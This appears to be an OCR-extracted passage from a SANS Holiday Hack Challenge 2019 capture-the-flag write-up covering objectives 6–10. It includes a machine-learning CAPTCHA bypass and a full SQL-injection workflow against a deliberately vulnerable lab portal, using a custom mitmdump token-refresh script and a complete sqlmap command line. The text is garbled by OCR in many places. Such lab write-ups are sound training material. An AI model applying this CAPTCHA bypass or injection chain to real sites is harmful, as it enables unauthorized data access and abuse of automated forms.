1ghty_and_Nice_2019_draft.bxt

) of the command and
m)

6.214.vultircom

us PowerShell Jliday Cheer Asz'\w ment.docm
xample: results.txt)

How many unique email adc vere usisd end Holiday
Cheer ] provide the numeric value
(Example: 1)

What was the p: ord for the zip archive that contained the 123456789

e come from? bradly.buttercups

The answer to Objective 6 needed for the badge question is the string:
Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

© 6) Splunk
pDifficulty: F ¥ 3

Access htips://splunk.elfu.org/ as elf with password
elfsocks. What was the message for Kent that the
adversary embedded in this attack? The SOC folks at
that link will help you along! For hints on achieving
this objective, please visit the Laboratory in Hermey
Hall and talk with Prof. Banas.

ke you the king of the Winter Carnival.

& 6) Splunk

Difficulty: 43

elfsocks. What was the message for Kent that the
adversary embedded in this attack? The S0C folks at
that link will help you al ' For hints on achieving
this objective, please visit the Laboratory in Hermey
Hall and talk with Prof. Banas.

Congratulations! You have completed
the Splunk challenge!
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Objective 7 — Get Access to The Steam Tunnels

To achieve this Objective, you first need to gain access to the Dormitory area which is on the east side of the Quad. To access the
Dorm area, you will need to talk to Tangle Coalbox and solve the Frosty Keypad challenge. There is a full write-up on that challenge
in the Achievement section of this report.

Once you solve the Frosty Keypad challenge, you can enter the Dorm area. Heading east you will find Minty Candycane and
continuing on east you will find an open dorm room door at the end of the hallway.

;}PJ} ‘i 4
Sy B g )
A
& )_ -

When you enter Minty's dorm room, you will be in a smaller area and no other players will be visible. There will appear a single NPC
(non-player character) that will appear briefly and then quickly scamper towards the closet, closes the door and disappears.

https://www.youtube.com/watch?v=0Q02iyoqoT8

Also, in this room is a key cutter machine. Clicking on the key cutter shows that there is a 6 position bitting code can be set to cut a
new key, but we don't know what do with this yet. Pressing the "Cut" button will create a key cut to the given numeric settings and
then you can click on the new key image to save to your filesystem as a file.
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https://www.youtube.com/watch?v=OQo2iyoqoT8

0{0{010}0}0

(Key cutter also available directly at https://key.elfu.org)

If you try to follow Krampus into the closet you reach a dead-end and you are presented with a keyhole lock challenge.

Clicking on the keyhole in the center of the wall, brings up a keyring and a lock.

L&

(Lock/key challenge also available directly at https://thisisit.elfu.org)

Clicking on the keyring prompts you to load a file from your local filesystem, so you need to have a file this will accept as a valid key.
Putting it all together it seems we use the key cutter machine to create a key that will work on this lock in the closet.

But, how do we get the right bitting settings? Excellent help is available in one of the KringleCon 2019 talks called "Optical Decoding
of Keys" given by Deviant Ollam in Track 5 in Hermey Hall or can be viewed directly at this link:
https://www.youtube.com/watch?v=KU6FJnbkeLA
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https://key.elfu.org/
https://thisisit.elfu.org/
https://www.youtube.com/watch?v=KU6FJnbkeLA

In this talk, he describes how if a key is visible and/or you can obtain a sufficiently clear image of it, the bitting code can be
determined through visual analysis. Although it was difficult to notice initially, the scampering Krampus we saw briefly earlier had a
key hanging from his belt!

This image as displayed in the browser is too small to do any analysis, however maybe the image source used for the Krampus avatar
is in a higher resolution and has more detail. Let's find out.

Accessing the Firefox developer tools (F12), then going to the Inspector tab and then searching for ".camera" and expanding this out
we find the objects that are drawn for this room including a <div> object called "krampus scampering". To the right of this entry the
CSS defines an image for this character.

@ O Inspector [ Console [ Debugger T Network {} StyleEditor () Performance 4 Memory [ Storage T Accessibility 5§ What's New
camera > RRR AR hov s + @ B L

top*</div>
Front™s¢/di
sh-tank™<

A = Flexb

s5="chat-parent™ = ¢/
ss="hhc-actionbar™s

Box I

= iv> (event
liv class oom-clicke jiv> [event
<div class="krampus scampering”></div>

s="painting"></div>

So, we see that the image source for the Krampus avatar is located here:
https://2019.kringlecon.com/images/avatars/elves/krampus.png
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https://2019.kringlecon.com/images/avatars/elves/krampus.png

|

v Displaying this image at full size shows a clear image of the key: A
Selecting the key itself, rotating it using GIMP and doing a little image cleanup, results in a much clearer image of just the key:

Now, going back to Deviant Ollam's talk, he provides templates for various key/lock manufacturers which can be overlaid over a key
image to determine the bitting pattern. The last piece of information needed is the key/lock manufacturer. This can is revealed by
taking a closer look at the lock image from the closet (Can be seen better here: https://thisisit.elfu.org/?challenge=bitting-keyhole)
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https://thisisit.elfu.org/?challenge=bitting-keyhole

We now know the lock is Schlage! We will use the Schlage template provided by Deviant Ollam here:
https://github.com/deviantollam/decoding/tree/master/Key%20Decoding

It is possible using GIMP to overlay the Schlage template image as a layer on top of the key image we got from the Krampus avatar
and determine the key bitting sequence:

Here is a more zoomed in view of the above image:

1 2 2 5 2 O
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https://github.com/deviantollam/decoding/tree/master/Key%20Decoding

u
" The key bitting sequence is: 1-2-2-5-2-0 (Hey, what a coincidence! - 12/25/20 - Christmas day 2020!)

Using this in the key cutter machine, will produce the following:

1{2]2(9]2|0

You can click on the key to save it to the filesystem:

Opening 122520.png X
You have chosen to open:
122520.png

which is: PNG image (143 KB)
from: https://key.elfu.org

What should Firefox do with this File?

Open with { Firefox Web Browser (default) hd

© Save File

Do this automatically for files like this from now on.

Cancel OK

Then go back into Minty's closet, click on the keyhole, and then click on the keychain to load the key:

+ other Locations

File Upload
@ Recent | « Aslingshot |Downloads »
LS Name - Size Modified 122520.png
W Desktop w 122520.png 146.0kB  16:56

P

AllFiles «

| ®comet

Hover the key over to the lock and click. The key turns and...

P

A
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THIS IS IT!

=,
-8

Entering through the secret entrance in the closet leads you into the Steam Tunnels:

https://www.youtube.com/watch?v=Qa8kCQQUjHM&t=14

Go around the corner to find Krampus!
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https://www.youtube.com/watch?v=Qa8kCQQUjHM&t=14

Click on Krampus to dialog with him and he reveals his full name and that he's the one that took the Turtle doves:

Hello there! I’'m Krampus Hollyfeld.

I maintain the steam tunnels underneath EIf U,

Keeping all the elves warm and jolly.

Though | spend my time in the tunnels and smoke,

In this whole wide world, there's no happier bloke!

Yes, | borrowed Santa’s turtle doves for just a bit.

Someone left some scraps of paper near that fireplace, which is a big fire hazard.
| sent the turtle doves to fetch the paper scraps.

But, before | can tell you more, | need to know that | can trust you.

Further dialog with Krampus unlocks Objectives 8-12 and Krampus also introduces Objective 8 - Frido Sleigh CAPTEHA.

The answer to Objective 7 needed for the badge question is the string: Krampus Hollyfeld

& 7) Get Access To The Steam Tunnels
Difficulty: &%

Gain access to the steam tunnels. Who took the turtle
doves? Please tell us their Tirst and last name. For
hints on achieving this objective, please visit
Minty's dorm room and talk with Minty Candy Cane.

& 7) Get Access To The Steam Tunnels
Difficulty: 42

Gain access to the steam tunnels. Who took the turtle
doves? Please tell us their first and last name. For
hints on achieving this objective, please visit
Minty's dorm room and talk with Minty Candy Cane.

Congratulations! You have completed
the Get Access To The Steam Tunnels
challengel
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Objective 8 — Bypassing the Frido Sleigh CAPTEHA

This Objective is introduced at the end of Objective 7 when you discover Krampus in the Steam Tunnels and details are provided
through the dialog with that character:

Krampus Hollyfeld (end of Objective 7):

Tell you what — if you can help me beat the Frido Sleigh contest (Objective 8), then I'll know I can trust you.
The contest is here on my screen and at fridosleigh.com.

No purchase necessary, enter as often as you want, so | am!

They set up the rules, and lately, | have come to realize that | have certain materialistic, cookie needs.
Unfortunately, it's restricted to elves only, and | can't bypass the CAPTEHA.

(That's Completely Automated Public Turing test to tell Elves and Humans Apart.)

I've already cataloged 12,000 images and decoded the APl interface.

Can you help me bypass the CAPTEHA and submit lots of entries?

For this Objective, you need to bypass the CAPTEHA (Completely Automated Public Turing test to tell Elves and Humans Apart) on the
https://fridosleigh.com/ contest submission form.

Frido Sleigh
Continuous Cookie Contest

Enter For A Chance to win Frido Sleigh Cookies
Continuously for Life!

As a start, download the 12,000 images at this link (https://downloads.elfu.org/capteha_images.tar.gz) and the provided API
interface script at this link (https://downloads.elfu.org/capteha_api.py).

The 12,000 images are a collection of the CAPTEHA images from the fridosleigh.com form submission and categorized by image:
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The API interface script has the building blocks needed to programmatically interact with the JSON fridosleigh.com API and make the
form submissions once the CAPTEHA is bypassed, but it's missing the Machine Learning image processing code which we need to
supply.

However help is available in one of the KringleCon 2019 talks called "Machine Learning Use Cases for Cybersecurity" given by Chris
Davis in Track 4 in Hermey Hall or can be viewed directly at this link: https://www.youtube.com/watch?v=jmVPLwjm zs

At time index 8:25, there is specific discussion on how to use Machine Learning to bypass CAPTCHA's and there is a GitHub link
(https://github.com/chrisjd20/img_rec tf ml demo) provided with sample Python code using Tensorflow to:

1. Train the image classifier and generate a trained model (retrain.py)
2. Predict images provided based on the trained model (predict_images_using_trained_model.py)

There are installation requirements needed for TensorFlow provided on the GitHub README page which are as follows:

git clone https://github.com/chrisjd20/img rec tf ml demo.git
cd img rec tf ml demo

sudo apt install python3 python3-pip -y

sudo python3 -m pip install --upgrade pip

sudo python3 -m pip install --upgrade setuptools

sudo python3 -m pip install --upgrade tensorflow==1.15

sudo python3 -m pip install tensorflow hub

So the plan seems fairly straightforward:

1. Use the code from retrain.py to create a trained model from the 12,000 images provided in capteha_images.tar.gz

[ python3 retrain.py ——image dir ./capteha images/ |

2. Then use code components from predict_images_using_trained_model.py to help fill in the ML pieces in capteha_api.py

The retrain step is done only once, takes about 20 minutes to complete, and generates a folder /tmp/retrain_tmp/ containing the
Tensorflow graph (trained model) at about 460MB in size. So far so good. I'm then able to code up what's needed for the ML with
help from the supplied scripts and my code is working. Everything works really well up to this point except for one detail -
performance.

After integrating the ML code into capteha_api.py, the average run time for just the ML component to predict the correct images
was averaging about 30-40 seconds, which is well past the 9-10 second threshold the CAPTEHA allows before timing out.

I should note that described below is the path | took to solve this challenge, however there are likely many other paths that could
have led to a solution as well. This is just the way that | was able to solve it.

So initially | was running this setup in a locally hosted Linux VM (no GPU support) on my laptop. | decided to migrate the entire
setup to a physical Windows 10 desktop host equipped with one GPU card (NVIDIA GeForce GTX 980).

| then needed to install the following on that Windows 10 host:
el pythen-3.6.8-amd6d.exe 12/16/2019 10:05 PM Application 31,085 KB

E cuda_10.0.130_win10_network.exe 12/16/2019 10:30 PM Application
2 Miniconda3-latest-Windows-x86_64.exe 12/17/2019 4:43 PM Application

These can be download from here:

Python 3.6.8:
https://www.python.org/downloads/release/python-368/

Nvidia Toolkit Archive Link:

https://developer.nvidia.com/cuda-10.0-download-archive?target os=Windows&target arch=x86 64&target version=10&target type=exenetwork

Miniconda Download Link:
https://docs.conda.io/en/latest/miniconda.html
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Once installed, this is what it should look like in the Windows control panel - "Programs and Features":

Narme Publisher Installed On  Size Version
) Miniconda3 4.7.12 (Python 3.7.4 64-bit) Anaconda, Inc. 12/17/2019 4712

e Python Launcher Python Software Foundation 12/16/2019 1.75MB  3.6,6565.0
[ Pythan 36,8 (64-bit) Python Software Foundation 12/16/2019 928 MB 3681500
B NVIDIA 3D Vision Controller Driver 300,41 NVIDIA Corporation 12/16/2019 390.41
BB NVIDIA Graphics Driver 411,31 NVIDIA Corporation 12/16/2019 FIRES
B vIDIA 3D Vision Driver 411,31 NVIDIA Corporation 12/16/2019 41131
B 1viDIA CUDA Runtime 10.0 NVIDIA Corporation 12/16/2019 10.0

B nVIDIA CUDA Documentation 10.0 NVIDIA Corporation 12/16/2019 10.0

B NVIDIA CUDA Development 10.0 MNVIDIA Corporation 12/16/2019 10,0

Once Miniconda is installed, | launched the "Anaconda Prompt (Minconda3)":

B snacondss eabig

[*] Anaconda Powershell Prompt (Min...

1 Anaconda Prompt (Miniconda3)

At the Miniconda (base) prompt, | installed the following modules using the conda utility:

(base) C:\>conda install tensorflow-gpu=1.15.0
this should install dependencies: tensorflow-estimator and tensorboard

(base) C:\>conda install cudatoolkit=10.0.130
this should also install dependency: cudnn (NVIDIA CUDA® Deep Neural Network library)

After installing these modules, performing a "conda 1ist" command at the Miniconda prompt should show these as installed:

Now that | have a TensorFlow environment setup that is capable of utilizing GPU acceleration, | re-generated the trained model and
re-ran my modified capteha_api.py.

At this point on each run | was averaging 12-15 seconds for just the ML portion of the code, which was still about 3-5 seconds too
slow and the CAPTEHA was still timing out. | made various tweaks including this config profile below which slightly helped and
shaved maybe 1 second from the average run time:

However, the program was still just falling short of the timeout threshold consistently on each run by about 2-4 seconds. Also, |
noticed that every now and again, it would fail with an error "Too many images selected!" meaning that the ML algorithm got the
prediction wrong for at least one of the images.

Then | had an idea - rather than run it just once and exit, what if | looped it without exiting and perhaps on subsequent loop
iterations there would be enough caching or pipelining taking place to optimize away those last few seconds and keep retrying
within reason until the guess is correct... This strategy ultimately worked!

| created a while loop in the code that would run it at least 25 times consecutively or until success. Using this method, on average |
would have a successful bypass of the CAPTEHA anywhere between the 3™ - 10" attempt.

The full source code for my modified capteha_api.py is included in the Appendix of the report or at
https://github.com/deckerXL/SANSHolidayHackChallenge2019

Here is the output from a successful run below. What this shows below is that success was reached on the 4" iteration of the loop,
so at the top of the 2nd screenshot you see a "Timed Out!" error which was from the 3™ loop iteration, then it loops and on the next
tryitgotitin 8.224190 seconds:
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Checking my email showed | received the successful completion email:

You're A Winner of the Frido Sleigh Contest! Inbox x & 2
contest@fridosleigh.com Tue,0ec17,2019,1021PM &
to I ~
Frido Sleigh - A North Pole Cookie Company
Congratulations you have been selected as a winner of
Frido Sleigh's Continuous Cookie Contest!
8laBLIZEwvyZr2Wo

The answer to Objective 8 needed for the badge question is the string: 81a8LiZEwvyZr2WO

© 8) Bypassing the Frido Sleigh
CAPTEHA

Difficulty: F

Help Krampus beat the Frido Sleigh contest. Fer hints
on achieving this objective, please talk with
Alabaster Snowball in the Speaker Unpreparedness
Room.

€& 8) Bypassing the Frido Sleigh
CAPTEHA
pifficulty: F

Help Krampus beat the Frido Sleigh contest. For hints
on achieving this objective, please talk with
Alabaster Snowball in the Speaker Unpreparedness
Room.

Congratulations! You have completed
the Bypassing the Frido Sleigh
CAPTEHA challenge!

After submitting Objective 8 in your badge, talk again with Krampus Hollyfeld in the Steam Tunnels to get dialog on Objective 9 and
unlock the Steam Tunnel Teleportation System!
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Objective 9 — Retrieve Scraps of Paper from Server

This Objective is introduced when we speak again to Krampus in the Steam Tunnels after completing Objective 8. Krampus tells us
that he borrowed the turtle doves and used them to retrieve scraps of paper that were near the fireplace. For this Objective, we
need to hack into the Student Portal server (https://studentportal.elfu.org/) and retrieve the scraps of paper that Krampus scanned
and stored on this server.

Krampus Hollyfeld

Yes, | borrowed Santa’s turtle doves for just a bit.

Someone left some scraps of paper near that fireplace, which is a big fire hazard.
| sent the turtle doves to fetch the paper scraps.

As for those scraps of paper, | scanned those and put the images on my server.

I then threw the paper away.

Unfortunately, | managed to lock out my account on the server.

Hey! You’ve got some great skills. Would you please hack into my system and retrieve the scans?
| give you permission to hack into it, solving Objective 9 in your badge.

Just navigating the student portal in a browser and through Burp shows that there are 6 main php pages:

e index.php
e students.php
e apply.php
e check.php

e validator.php
e application-received.php

Doing a simple SQLi check by inserting a single quote (') in all the form fields for apply.php and check.php result in the following web
page, so it's a good indication that SQLi may be possible:

"Error: INSERT INTO applications (name, elfmail, program, phone, whyme, essay, status) VALUES (''', 'test@test.com', ''', ''"',
''', ''', 'pending') You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for
the right syntax to use near 'test@test.com', ''', ''',K ''',6 ''' ‘'pending')' at line 2"

The basic form-submit logic flow for the two forms is the following and notice that both forms end up in the same final POST to
application-received.php:

e apply.php --> validator.php --> apply.php --> application-received.php
e check.php --> validator.php --> check.php --> application-received.php

However, just firing sqlmap at https://studentportal.elfu.org/application-received.php results in failure. Let's see why.

Both apply.php and check.php have the following two JavaScript functions and form onSubmit events:

function submitApplication() {
console.log("Submitting") ;
elfsSign();
document.getElementById ("apply") .submit () ;
}

function elfSign() {
var s = document.getElementById("token");
const Http = new XMLHttpRequest();
const url='/validator.php';
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Http.open ("GET", url, false); ‘
Http.send(null) ;
if (Http.status === 200) {
console.log (Http.responseText) ;
s.value = Http.responseText;
}
}
| <form id="apply" action="/application-received.php" method="post" class="form-signin mb-5" onSubmit="submitApplication()"> |
When you click the "Submit Application" button on the form, the onSubmit event fires calling it's local submitApplication ()
JavaScript function (before taking the POST action to application-received.php), and the submitApplication () function then
callsthe e1£sign () function.
The e1fSign () function then gets a handle to the "token" parameter in the DOM and assigns that to variable "s". Then the
V|

"s.value" which is a reference to the "token" parameter value.

Whatever response comes back from a successful call to validator.php, this function will update the "token" parameter value with
that response data. validator.php generates a dynamic time-based CSRF token which must be passed along and must still be valid
when the final POST is made to application-received.php. Any direct POSTs to application-received.php without first retrieving a

valid token value from validator.php, will result in an "Invalid or expired token!" error message in the response and prevents a valid
POST and SQLi exploitation.

Once a valid token is retrieved from validator.php and assigned to the "token" parameter, the e1£Sign () function exits returning
control to the submitApplication () function, and then document.getElementById ("apply") .submit () executes which

triggers the POST action to application-received.php.

The form submission flow looks like this in Burp:

Initial GET request to apply.php

[ ntercept || HT7R history. | websockets history | options |

function makes a GET request to validator.php. If the response code is 200 OK, it saves the response from validator.php into the
[Fiter: Matching expression studentportal.ctu.org @

# 4| Host Method | URL Params |Edted |Status |Length |MIME type | Extension |Title Comment s P
100255 https f/studentportal.elffuorg GET fapply.php 200 9408 HTML
100259 https/istudentportal.effuorg GET  Avalidator.php 200 538 seript php
100260 effuorg POST -received.php v 200 3178 HIML php
[t

Request | Response |

Raw | Headers | Hex |

TET /apply.php HTTR/L.L

Cookies
php Merry Christmas 35.223.33.67
35.223.33.67
35.223.33.67

EIf University

0
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11: Ubuntu; Linux x8_€4: rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml:q=0.8,*/*:q=0.8
Accept-Language: en-US,en:q=0.5
Accepc-Encoding: gzip, deflace
Connection: close
Referer: https://studentportal.elfu.org/
Upgrade-Insscura-Requescs: 1

0 matches

GET response for apply.php showing JavaScript functions

[lnzercepl [ HTTe history. | websackets history ] Options ]

| Filter: Matching expression studentportal elfu.org

# 4| Host Method | URL
100255 httpsy/studentportal.elfu.org GET Japply php
100259 https:ffstudentportal.effu.org GET Jvalidator.php
100260 H

2L

| Request | Response
 [[Raw | Headers | Hex [ HTML | Render |

<script>

elfuorg POST -received php

function submitApplication() {
console.log("Submitting") ;
elfsign() :
document . getElementByTd( " apply” ) .submit() ;

)
function elfSign() (
var s = document.getElementById("token')

const Http = new XMLHttpRequest():
const url='/validator.php'
Http.open("GET', url, false):
Http.send(null) ;

if (Http.status === 200) {
console.log(Http.responseText) ;

s.value = Http.responseText:
1

/script>

<) | =
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I | |

I |

| 4 A
Response from validator.php showing the dynamically generated time-based CSRF token:
[ ntercept [ TP history. | websockets hunnryT options |
[Fiter: Matching expression studentportal.efu.org @
# &| Host Method | URL | Params | Edited | Status Length | MIME type | Extension | Title | Comment s (P Cookies
y

100255 httpsifjstudentportal.elfuorg  GET /applyphp 200 9408 HTML php Merry Christmas v 352233367 0|

100259 | https:/jstudentportal.elfu.org | GET Mvalidator php 200 538 script php 35.223.33.67 [

100260 elfuorg POST -received php v 200 3178 HTML php Elf University v 35.223.33.67 v
E1N 7 .

[ Request [[Respanse | i
[Raw ] Headers | Hex | render |

Content-Type: text/html; charset=UTF-8 )
Content-Length: 85

Connection: close

X-Powered-By: PHP/7.2.1

Vary: Accept-Encoding

Strict-Transport-Security: max-age=15552000; includeSubDomains

X-Content-Type-Options: nosnif

X-Frame-Options: SAMEORIGIN

X-¥SS-Protection: 1; mode=block
X-Robots-Tag: nome

X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: nome

MTI My OTYZOTYYL) g4
v

® = 0 matches

POST Request to application-received.php containing the validator.php retrieved token:

[ ntercept | HTTR history. | websockets history | options |

[Fiter: Matching expression studentportal.eku.org [©)]

# &/ Host Method | URL Params |Edited | Status |Length | MIME type |Extension | Title Comment P Cookies

100255 https:fjstudentportal.elffu.org GET fapply.php 200 9408 HTML php Merry Christmas 35.223.33.67 L]
100259 fuorg GET  palidatorphp 200 538 script php 35.223.33.67 [
100260 effuorg POST php 200 3178 HTML Elf Universi 35.223.33.67 v
I icati ived.php | php If Universit
L _ ) ¥

[[Request | Response |
[[Raw ] params | Headers | Hex |

POST /application-received.php HTTP/L.1 0
Host: studentportal.elfu.org

User-Agent: Mozilla/5.0 (XL1; Ubuntu: Linux x8€_£4: rv:71.0) Gecko/20100101 Firefox/71.0

Accept: text/html,application/xhtml+xml,application/xml:q=0.9,*/*:q=0.8

«««E.'

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflace

Content-Type: application/x-ww¥-form-urlencoded
Content-Length: 151

Origin: hrtps://studentportal.elfu.org
Connection: close

Referer: https://studentportal.elfu.org/apply.php
Upgrade-Insecure-Requests: 1

name=fname e lfmail=emailt ere.ne: escr AXMDMVNTTzODQUNTU3ODUSNTY4NTEVMTAZMDEYMy4 4NAY 3D 3D_NTISMZE4NTU4NTE LI AzNINyOTYZOTTYL) g4

@ [==E] 0 matches

POST Response from application-received.php showing a success response:

[ Intercept | HTTP histary. | Websockets history | Options |

| Filter: Matching expression studentportal.elfu.org |®

# 4| Host Method | URL Params |Edited |Status |Length |MIME type |Extension |Title Comment s P Cookies
35.223.33.67

100255 hitpsistudentportal.effuorg GET  fapply.php o 200 9408 HTML php Merry Christmas .
35.223.33.67 [
v

100259 https:jjstudentportal.elffu.org GET Malidator.php 200 538 script php
100260 ifu pPoST licatic ived.phy v 200 3178 HTML php. EIf University 35.223.33.67
| D

[B1N .

LA

[ Request [ Response |
_[[Raw [ Headers | Hex | HML | Render |

</header> 0

Py
<main role="ma ="main-container">
<div class’ vh-100"

<div clas

img dark-img" style="background-image: url(img/copbanner.3pg):"></div>

<p class="lead text-vhite mb-1">

Hooray! Your application Has been received! </p>
</div>

</div>
</main>

-- Optional JavaSczipt -->

-- JjQuezy fizst, then Popper.js, then Bootstzap JS --> .

o === 0 matches
Circling back to do some analysis on the tokens returned by validator.php, it appears to be constructed from two time-based values
which have been base64 encoded and delimited with an underscore character. Shown in the screenshot below is output from a
quick prototype script | wrote (validator-test.py - included in the Appendix) that retrieves 30 consecutive tokens, with a 1 second
sleep between each request, prints each one followed by each half of the token base64 decoded so we can see the actual values
represented there.

To left of the blue line is the original token as returned by validator.php and to the right of the blue line are the two halves of the
token base64 decoded (space delimited). The first decoded value appears to be an incrementing time-based value which is a
concatenation of 3 values (separated by red lines): a time-based value incrementing in factions of a second, the Unix Epoch time,
and then the third value is identical to the first but preserving the decimal. The second decoded value also appears to be an
incrementing time-based value and the increments seem to follow a 2-2-2-2-4 second increment for every 1 second, however the
fractions of a second component makes this very difficult to predict and construct a valid token independently.
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The strategy | decided to follow was to use sglmap, but adding a custom mangling step to dynamically retrieve a valid token from
validator.php and using this as the token value for each SQLi attempt. Initially | created a custom sqlmap tamper script, however |
found | had greater control over the mangling of the payload using mitmdump with a custom script.

My setup looks like this:
e sglmap <--> mitmdump (w/custom script) <--> Burp <--> https://studentportal.elfu.org
With this setup | can do all the mangling with mitmdump and observe all request/responses in Burp

mitmdump setup

custom mitmdump mangling script (mitmcustom.py)
import re
import urllib.parse
import requests
import typing

from mitmproxy import http

# set of SSL/TLS capable hosts
secure_hosts: typing.Set[str] = set()

def request (flow: http.HTTPFlow) -> None:
response=requests.get ('https://studentportal.elfu.org/validator.php"')
response_bytes = response.text.encode ()
flow.request.content = flow.request.content.replace (b'token=REPLACE', b'token='+response bytes)

mitmdump command line

mitmdump --ssl-insecure -s mitmcustom.py -p 8081 --mode upstream:http://127.0.0.1:8080 --setheader :~qg:Content-
Type:application/x-www=-form-urlencoded

| setup mitmdump to listen on port 8081/tcp and send to Burp as an upstream proxy which is listening on 8080/tcp. For
each inbound connection, mitmdump will mangle the request based on the mitmcustom.py script above.
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sglmap setup

sqlmap command line
python3 ./sglmap.py -u https://studentportal.elfu.org/application-received.php --
referer="https://studentportal.elfu.org/apply.php" --headers="Host: studentportal.elfu.org\nUser-Agent: Mozilla/5.0
(X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept:
text/html, application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8\nAccept-Language: en-US,en;g=0.5\nAccept-Encoding:
gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nConnection: close\nUpgrade-Insecure-Requests: 1\n"
--method=POST --data="token=REPLACE&name=test&elfmail=test%40test.com&program=test&phone=444-
4444gwhyme=Test&essay=Test" -p name --level=5 --risk=3 --proxy="http://127.0.0.1:8081" --dbms mysqgl --user-—
agent="Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0" --skip-urlencode

| setup sglmap to proxy all requests to 127.0.0.1:8081 which is the mitmdump listener, use POST method, target the name
parameter, target a mysql database, | set custom headers and user-agent, and increased level and risk values.
clause (BIGINT UNSIGNED)

d - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)
based - WHERE or HAVING clause

GROUP BY clause (JSON KEYS)

- WHERE or HAVING
- -based - WHERE, HAVINC DER or GROUP BY clause (FLOOR)
'MySQL >= 5.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectahle
ries
stacked - (comment)

stacked ( ry SLEEP - comment)
stacked i SLEEP)
tacked quer ea - comment)
)
SLEEP)

S
5

gt NION (random numb 28 columns
(NULL) - 21 columns

UNION y (random numb 21 to 40 columns
UNION ( ) 41 t columns

UNION (random number) - 41 to &8 columns
UNION y (NULL) - 61 umns

UNION (random numb - 61 to 8@ columns

Once the injectable parameter is verified with the specific technique as shown in the screenshot above, the next sqlmap run
will attempt to enumerate the databases (--dbs)

[CRITICAL] )
resumed the f

- WHERE, HA

(SELECT ¢ d - (S C co ( CAT(0x7171787171, (SELECT (ELT

selfmail=t

under ot/.sglmap/output/studentportal.elfu.org

Page 91 of 184



sqlmap returns two databases (elfu and information_schema). The next run targets to enumerate the tables in the elfu
database (-D elfu --tables)

] testing
[ERITICAL]

AND (SELECT 4169 FROM (SELECT(SLEEP(5

NI e t found and fil
NFO]

1811}
appllcétlons

krampus
students

| enumerate "applications" and "students" tables as well, but the important data is in the "krampus" table, which is
enumerated below:

1fu.applications t /root/.sglmap/output/studentportal.elfu.org/dump/elfu/applications.csv
Tum r r elfu

rampus/lcc7el2l.png
rampus/439f
ampus/667d6896.png

ampus/adb798ca.png

ampus/ba417715.png
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Those 6 .png files indicated in the krampus table can be downloaded directly from the student portal web site:

https://studentportal.elfu.org/krampus/0f5f510e.png

https://studentportal.elfu.org/krampus/lcc7el121.png
https://studentportal.elfu.org/krampus/439f15e6.png
https://studentportal.elfu.org/krampus/667d6896.png
https://studentportal.elfu.org/krampus/adb798ca.png
https://studentportal.elfu.org/krampus/ba417715.png

btw, visiting the root URI, https://studentportal.elfu.org/krampus/ displays this page:

Mozilla Firefox

& studentportal.elfuorg/ x JEd

&« c © | & https//studentportal.elfu.org/krampus e p#d mweo e 5 =

Welcome!

Good job on finding the hidden folder

But if you're guessing filenames, you'll only get older

To find the names and win the race

You're gonna have to search the database

Below are each of the six .png scraps:

0f5f510e.png 1cc7e121.png 439f15e6.png

4 the holiday
wn Cechnolog) will

From the Desk of T

o listenng to my
Date: Aeugeest 23, 2¢ v BB - horaciahel

Memo to Self*
Finally! I've figured

Sarta has a brand e ﬁ‘;&\ ¢
/oy, called the . ¥

667d6896.png adb798ca.png ba417715.png

Using GIMP layers, | combined each of the fragments into one image. Unfortunately, one piece is missing which might have
revealed who wrote this letter. Maybe that piece burned up in the fireplace before the turtle doves got to it? Looking at

the background image, hmm could that be an apple... or maybe a tooth?!?

I |
4
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Front the Desk oF
Dat'e: 4«3«55 23, 20
Memo to Salft
and/y.’ Zve ffgureaf ol How S d’e\st‘ray Christmas]
Sarta has a brard reew, caz'z‘.'fg edge Sleigh geidance
Technology, called the Super Sled-c-mdtic.

Tve /:garea’ out a way o poison the data gong indo the

System so that it will divert Sata's sled on Christras
Evel

Sarta el be cnable to riake the Z‘r{p and the ﬁoﬁcf%/
Seasen will be destrosed! Saa's cun Zechnologs exll
wundaraine Aim!

That'd what they deserve for nt listenrg to my
sSuqqastions for supporting other holiday characters!

Bzm/?dwi‘f?ﬂ I/

The letter has a similar tone and feel as the redacted threating letter we found in Objective 2.
The text from this letter is transcribed below:

From the Desk of
Date: August 23, 20
Memo to Self:

Finally! I've figured out how to destroy Christmas!
Santa has a brand new, cutting edge sleigh guidance
technology, called the Super Sled-o-matic.

I've figured out a way to poison the data going into the
system so that it will divert Santa's sled on Christmas
Eve!

Santa will be unable to make the trip and the holiday
season will be destroyed! Santa's own technology will
undermine him!

That's what they deserve for not listening to my
suggestions for supporting other holiday characters!

Bwahahahahaha!
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The relevant part needed to answer this objective is:

Super Sled=o—mrcdic

The answer to Objective 9 needed for the badge question is the string: Super Sled-o-matic

© 9) Retrieve Scraps of Paper from
Server

Difficulty: -3

Gain access to the data on the Student Portal server
and retrieve the paper scraps hosted there. What is
the name of Santa's cutting-edge sleigh guidance
system? For hints on achieving this objective, please
visit the dorm and talk with Pepper Minstix.

€ 9) Retrieve Scraps of Paper from
Server
pifficulty: F

Gain access to the data on the Student Portal server
and retrieve the paper scraps hosted there. What is
the name of Santa's cutting-edge sleigh guidance
system? For hints on achieving this objective, please
visit the dorm and talk with Pepper Minstix.

Congratulations! You have completed
the Retrieve Scraps of Paper from
Server challenge!

After submitting Objective 9 in your badge, talk again with Krampus Hollyfeld in the Steam Tunnels to get dialog on Objective 10.
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Objective 10 — Recover Cleartext Document

This Objective is introduced when we speak again to Krampus in the Steam Tunnels after completing Objective 9. For this Objective,
we need to decrypt an encrypted document that Krampus found.

Krampus Hollyfeld

I managed to find this protected document on one of the compromised machines in our environment.
I think our attacker was in the process of exfiltrating it.

I’m convinced that it is somehow associated with the plan to destroy the holidays. Can you decrypt it?

In the badge description, we're given the following:

A link to the Elfscrow Crypto tool (https://downloads.elfu.org/elfscrow.exe)

Link to debug symbols for this tool (https://downloads.elfu.org/elfscrow.pdb)

